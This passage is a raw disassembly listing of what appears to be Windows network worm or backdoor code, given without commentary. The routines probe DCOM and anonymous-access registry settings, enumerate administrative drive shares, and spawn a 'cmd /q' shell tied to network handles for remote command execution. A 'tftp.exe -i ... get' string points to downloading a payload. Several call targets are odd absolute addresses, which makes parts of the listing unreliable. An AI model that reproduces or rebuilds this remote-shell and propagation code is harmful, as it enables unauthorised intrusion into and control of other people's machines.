		mov	[ebp+var_C], edi


loc_41610D:				; CODE XREF: sub_415F86+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43F5B4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AA
		cmp	eax, 0EAh
		jz	short loc_4161AA
		mov	esi, offset off_438CA0


loc_41613E:				; CODE XREF: sub_415F86+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416155
		push	offset unk_438E04
		jmp	short loc_41615A
; ---------------------------------------------------------------------------


loc_416155:				; CODE XREF: sub_415F86+1C6j
		push	offset unk_438DC8


loc_41615A:				; CODE XREF: sub_415F86+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41618D:				; CODE XREF: sub_415F86+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_438CC0
		jb	short loc_41613E
		jmp	loc_416242
; ---------------------------------------------------------------------------


loc_4161AA:				; CODE XREF: sub_415F86+1AAj
					; sub_415F86+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_416239


loc_4161B9:				; CODE XREF: sub_415F86+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41622E
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161E8
		push	offset unk_438D94
		jmp	short loc_4161ED
; ---------------------------------------------------------------------------


loc_4161E8:				; CODE XREF: sub_415F86+259j
		push	offset unk_438D58


loc_4161ED:				; CODE XREF: sub_415F86+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416221
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416221:				; CODE XREF: sub_415F86+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_41622E:				; CODE XREF: sub_415F86+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161B9
		xor	edi, edi


loc_416239:				; CODE XREF: sub_415F86+22Dj
		push	[ebp+var_8]
		call	dword_43F6F8


loc_416242:				; CODE XREF: sub_415F86+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610D
		lea	eax, [ebp+var_214]
		push	offset unk_438D20
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_416278
; ---------------------------------------------------------------------------


loc_416265:				; CODE XREF: sub_415F86+177j
		lea	eax, [ebp+var_214]
		push	offset unk_438CE0
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416278:				; CODE XREF: sub_415F86+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416296
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416296:				; CODE XREF: sub_415F86+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AA	proc near		; CODE XREF: sub_415F26:loc_415F6Dp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43F738, ebx
		push	esi
		jnz	loc_4163D8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416335
		mov	ax, word_4391FC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416317
		push	offset unk_4391C8
		jmp	short loc_41631C
; ---------------------------------------------------------------------------


loc_416317:				; CODE XREF: sub_4162AA+64j
		push	offset dword_43919C


loc_41631C:				; CODE XREF: sub_4162AA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_416348
; ---------------------------------------------------------------------------


loc_416335:				; CODE XREF: sub_4162AA+36j
		lea	eax, [ebp+var_220]
		push	offset unk_438F68
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416348:				; CODE XREF: sub_4162AA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416367
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416367:				; CODE XREF: sub_4162AA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4163D1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43F68C
		test	eax, eax
		jz	short loc_4163B3
		push	offset unk_439150
		jmp	short loc_4163B8
; ---------------------------------------------------------------------------


loc_4163B3:				; CODE XREF: sub_4162AA+100j
		push	offset unk_43910C


loc_4163B8:				; CODE XREF: sub_4162AA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4163EB
; ---------------------------------------------------------------------------


loc_4163D1:				; CODE XREF: sub_4162AA+E2j
		push	offset unk_4390C0
		jmp	short loc_4163DD
; ---------------------------------------------------------------------------


loc_4163D8:				; CODE XREF: sub_4162AA+13j
		push	offset unk_438E38


loc_4163DD:				; CODE XREF: sub_4162AA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_4163EB:				; CODE XREF: sub_4162AA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41640A:				; CODE XREF: sub_4162AA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, ebx
		pop	ecx
		jnz	loc_41657F
		push	edi
		mov	esi, offset off_438CA0
		mov	edi, 200h


loc_41642E:				; CODE XREF: sub_4162AA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416449
		push	offset unk_439090
		jmp	short loc_41644E
; ---------------------------------------------------------------------------


loc_416449:				; CODE XREF: sub_4162AA+196j
		push	offset unk_439058


loc_41644E:				; CODE XREF: sub_4162AA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647D
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41647D:				; CODE XREF: sub_4162AA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_438CB0
		jb	short loc_41642E
		nop
		call	near ptr 27E0839h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416567


loc_4164A8:				; CODE XREF: sub_4162AA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655C
		cmp	bl, 41h
		jz	loc_41655C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43F6C8
		cmp	eax, 3
		jnz	short loc_41655C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651A
		push	offset unk_439090
		jmp	short loc_41651F
; ---------------------------------------------------------------------------


loc_41651A:				; CODE XREF: sub_4162AA+267j
		push	offset unk_439058


loc_41651F:				; CODE XREF: sub_4162AA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41654F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41654F:				; CODE XREF: sub_4162AA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_41655C:				; CODE XREF: sub_4162AA+206j
					; sub_4162AA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164A8


loc_416567:				; CODE XREF: sub_4162AA+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_439018
		push	eax
		call	sub_4172AE
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416592
; ---------------------------------------------------------------------------


loc_41657F:				; CODE XREF: sub_4162AA+173j
		lea	eax, [ebp+var_220]
		push	offset unk_438CE0
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_416592:				; CODE XREF: sub_4162AA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4165B0:				; CODE XREF: sub_4162AA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C4	proc near		; CODE XREF: ___:0041562Dp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416715
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4450CC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_41662F
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_416669
; ---------------------------------------------------------------------------


loc_41662F:				; CODE XREF: sub_4165C4+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_416999
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416670
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 27D09C8h


loc_416669:				; CODE XREF: sub_4165C4+69j
		xor	eax, eax
		jmp	loc_416710
; ---------------------------------------------------------------------------


loc_416670:				; CODE XREF: sub_4165C4+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 27E0B95h
		nop
		sub	eax, ebx
		jz	short loc_4166CA
		dec	eax
		jz	short loc_4166C4
		dec	eax
		jz	short loc_4166B0
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_439200
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166DF
; ---------------------------------------------------------------------------


loc_4166B0:				; CODE XREF: sub_4165C4+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166DF
; ---------------------------------------------------------------------------


loc_4166C4:				; CODE XREF: sub_4165C4+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166CE
; ---------------------------------------------------------------------------


loc_4166CA:				; CODE XREF: sub_4165C4+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4166CE:				; CODE XREF: sub_4165C4+104j
		call	near ptr 27D09C8h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 27D0C34h


loc_4166DF:				; CODE XREF: sub_4165C4+EAj
					; sub_4165C4+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43F700
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax


loc_416710:				; CODE XREF: sub_4165C4+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416715	proc near		; CODE XREF: sub_4165C4+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4167FF
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_416778
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset dword_439324
		jmp	short loc_416798
; ---------------------------------------------------------------------------


loc_416778:				; CODE XREF: sub_416715+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A0
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_4392D4


loc_416798:				; CODE XREF: sub_416715+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167CE
; ---------------------------------------------------------------------------


loc_4167A0:				; CODE XREF: sub_416715+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_41680E
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416803
		push	offset dword_43929C
		call	sub_40BF6D


loc_4167CE:				; CODE XREF: sub_416715+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DA
		push	[ebp+var_4]
		call	edi


loc_4167DA:				; CODE XREF: sub_416715+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E5
		push	[ebp+var_8]
		call	edi


loc_4167E5:				; CODE XREF: sub_416715+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167EE
		push	eax
		call	edi


loc_4167EE:				; CODE XREF: sub_416715+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167F8
		push	eax
		call	edi


loc_4167F8:				; CODE XREF: sub_416715+DEj
		push	esi
		call	sub_417C3B
		pop	ecx


loc_4167FF:				; CODE XREF: sub_416715+1Dj
		xor	eax, eax
		jmp	short loc_416809
; ---------------------------------------------------------------------------


loc_416803:				; CODE XREF: sub_416715+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_416809:				; CODE XREF: sub_416715+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416715	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41680E	proc near		; CODE XREF: sub_416715+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 27808D9h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2750531h
		nop
		test	eax, eax
		jz	short loc_4168CA
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4450C8[eax], ecx
		nop
		call	near ptr 26217F0h
		jmp	short loc_4168E0
; ---------------------------------------------------------------------------


loc_4168CA:				; CODE XREF: sub_41680E+9Aj
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_439374
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4168E0:				; CODE XREF: sub_41680E+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41680E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E7	proc near		; DATA XREF: sub_4165C4+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_416910:				; CODE XREF: sub_4168E7+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_416978
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694B


loc_416921:				; CODE XREF: sub_4168E7+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693B
		cmp	dl, 0Dh
		jz	short loc_41693B
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41693B:				; CODE XREF: sub_4168E7+44j
					; sub_4168E7+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416921


loc_41694B:				; CODE XREF: sub_4168E7+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_416978
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416910
; ---------------------------------------------------------------------------


loc_416978:				; CODE XREF: sub_4168E7+2Dj
					; sub_4168E7+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416994
		call	esi
		push	eax
		push	offset dword_4393C0
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_416994:				; CODE XREF: sub_4168E7+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416999	proc near		; DATA XREF: sub_4165C4+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4169B2:				; CODE XREF: sub_416999+39j
					; sub_416999+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F680
		test	eax, eax
		jle	loc_416AB7
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D4
		dec	[ebp+var_10]
		jmp	short loc_4169B2
; ---------------------------------------------------------------------------


loc_4169D4:				; CODE XREF: sub_416999+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A97
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A44
		cmp	al, 7Fh
		jz	short loc_416A44
		cmp	al, 3
		jnz	short loc_4169FF
		push	ebx
		push	ebx
		nop
		call	near ptr 27E0C25h
		jmp	short loc_416A6B
; ---------------------------------------------------------------------------


loc_4169FF:				; CODE XREF: sub_416999+5Aj
		cmp	al, 15h
		jnz	short loc_416A21
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A57
; ---------------------------------------------------------------------------


loc_416A21:				; CODE XREF: sub_416999+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A58
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A57
; ---------------------------------------------------------------------------


loc_416A44:				; CODE XREF: sub_416999+52j
					; sub_416999+56j
		cmp	esi, ebx
		jbe	short loc_416A6E
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_416A57:				; CODE XREF: sub_416999+86j
					; sub_416999+A9j
		pop	ecx


loc_416A58:				; CODE XREF: sub_416999+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_416AB7


loc_416A6B:				; CODE XREF: sub_416999+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_416A6E:				; CODE XREF: sub_416999+ADj
		cmp	al, 0Dh
		jnz	loc_4169B2
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_416AB7
		xor	esi, esi
		jmp	loc_4169B2
; ---------------------------------------------------------------------------


loc_416A97:				; CODE XREF: sub_416999+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AA8
		mov	[ebp+var_C], 1
		jmp	loc_4169B2
; ---------------------------------------------------------------------------


loc_416AA8:				; CODE XREF: sub_416999+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B2
; ---------------------------------------------------------------------------


loc_416AB7:				; CODE XREF: sub_416999+2Bj
					; sub_416999+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416999	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABC	proc near		; CODE XREF: sub_416ADC+Ap
					; sub_416BB4+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADC	proc near		; CODE XREF: sub_416BCB+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABC
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AF9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AF9:				; CODE XREF: sub_416ADC+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4394A0, eax
		lea	eax, [edi+1]
		mov	dword_4394C1, eax
		lea	eax, [edi+17h]
		mov	dword_4394B9, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43943C
		push	ebx
		mov	dword_4394CF, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
